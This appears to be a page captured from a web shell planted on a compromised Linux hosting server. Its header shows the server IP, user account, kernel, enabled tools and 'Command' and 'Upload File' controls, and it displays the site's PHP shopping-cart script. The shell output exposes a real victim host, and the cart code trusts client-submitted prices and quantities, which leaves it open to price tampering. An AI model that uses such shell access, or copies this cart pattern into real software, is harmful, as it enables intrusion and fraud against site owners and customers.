MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.147.65.111
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/deergham.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/deergham.com/add-cart.php
<?php 
session_start();

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $sr_no = $_POST['sr_no'];
    $quantity = $_POST['quantity'];
    $name = $_POST['name'];
    $price = $_POST['price'];
    $image = $_POST['image'];

    $product = [
        'id' => $sr_no,
        "quantity" => $quantity,
        "name" => $name,
        "price" => $price,
        "image" => $image
    ];

    if (isset($_POST['add_product'])) {
        if (!isset($_SESSION['cart'])) {
            $_SESSION['cart'][] = $product;
            echo "<script>
                alert('Item Added!');
                history.back();
            </script>";
        } else {
            $ids = [];
            foreach ($_SESSION['cart'] as $store_product) {
                $ids[] = $store_product['id'];
            }
            if (!in_array($product['id'], $ids)) {
                $_SESSION['cart'][] = $product;
                echo "<script>
                     alert('Item Added!');
                     history.back();
                 </script>";
            } else {
                echo "<script>
                alert('Item Already Added!');
                history.back();
            </script>";
            }
        }
    }
    
    if (isset($_POST['checkout_product'])) {
    if (!isset($_SESSION['cart'])) {
        $_SESSION['cart'][] = $product;
    } else {
        $ids = [];
        foreach ($_SESSION['cart'] as $store_product) {
            $ids[] = $store_product['id'];
        }
        if (!in_array($product['id'], $ids)) {
            $_SESSION['cart'][] = $product;
        }
    }

    // Prepare the data to be passed
    $totalQuantity = 0;
    $productQuantities = [];
    $productNames = [];
    $total = 0;

    foreach ($_SESSION['cart'] as $key => $value) {
        $subtotal = $value['price'] * $value['quantity'];
        $total += $subtotal;
        $totalQuantity += $value['quantity'];
        $productQuantities[] = $value['quantity'];
        $productNames[] = $value['name'];
    }
    $total = number_format($total, 2);

    $totalQuantityEncoded = urlencode($totalQuantity);
    $productQuantitiesEncoded = urlencode(implode(',', $productQuantities));
    $productNamesEncoded = urlencode(implode(', ', $productNames));
    $totalEncoded = urlencode($total);

    // Redirect to checkout.html with POST data in query parameters
    echo "<script>
        window.location.href = 'checkout.html?total_quantity=$totalQuantityEncoded&product_quantities=$productQuantitiesEncoded&product_names=$productNamesEncoded&total_price=$totalEncoded';
    </script>";
}


    if (isset($_POST['remove_product'])) {
        foreach ($_SESSION['cart'] as $key => $re_product) {
            if ($re_product['name'] == $_POST['item_name']) {
                unset($_SESSION['cart'][$key]);
                $_SESSION['cart'] = array_values($_SESSION['cart']);
                echo "<script>
                    alert('Item Removed!');
                    window.location.href = 'add-to-cart.php';
                </script>";
            }
        }
    }

    if (isset($_POST['mod_quantity'])) {
        foreach ($_SESSION['cart'] as $key => $re_product) {
            if ($re_product['name'] == $_POST['item_name']) {
                $_SESSION['cart'][$key]['quantity'] = $_POST['mod_quantity'];
                echo "<script>
                    window.location.href = 'add-to-cart.php';
                </script>";
            }
        }
    }
}
?>

MMCT - 2023